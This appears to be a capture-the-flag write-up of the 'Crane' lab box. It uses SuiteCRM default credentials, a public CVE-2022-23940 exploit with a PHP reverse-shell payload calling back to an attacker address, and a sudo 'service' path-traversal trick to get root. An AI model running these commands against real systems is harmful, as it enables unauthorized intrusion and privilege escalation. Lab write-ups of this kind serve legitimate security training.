Skip to content
HackIndex.io

Crane Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 6, 2026 • Last updated October 6, 2026 • 2 min read

The Husky Hacker

sysadmin

Crane runs SuiteCRM with default credentials. The version is vulnerable to CVE-2022-23940, an authenticated remote code execution, and a public exploit returns a shell as www-data. From there www-data can run service through sudo, and a GTFOBins path trick spawns a root shell.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

A web server is running on the target. Browsing to it shows a SuiteCRM login page.

SuiteCRM

SuiteCRM is an open-source Customer Relationship Management application for servers, written in PHP. Note the version from the login page for the next step.

Exploitation

Remote code execution

The application is using the default credentials admin:admin, which log straight into the admin panel. Searching for the SuiteCRM version turns up CVE-2022-23940, an authenticated remote code execution, with a public exploit at github.com/manuelz120/CVE-2022-23940. The exploit authenticates and triggers code execution, so start a listener and fire it with a reverse shell payload.

┌──(kali㉿kali)-[~]
└─$ ncat -nvlp $ATTACKER_PORT
Explain command
-nvlp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python exploit.py -u admin -p admin --payload "php -r '$sock=fsockopen(\"$ATTACKER_IP\", $ATTACKER_PORT); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
Explain command
-u SuiteCRM username.
-p SuiteCRM password.
--payload Command to execute on the target.

The listener catches a shell as www-data.

┌──(kali㉿kali)-[~]
└─$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Check the sudo rights for www-data.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/service

www-data can run /usr/sbin/service as root with no password. The GTFOBins technique for service passes a relative path that resolves to a shell, which service then executes as root.

┌──(kali㉿kali)-[~]
└─$ sudo /usr/sbin/service ../../../../bin/bash 
root@crane:/# id
uid=0(root) gid=0(root) groups=0(root)

The path traversal makes service run /bin/bash as root, giving a root shell.

Related

Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References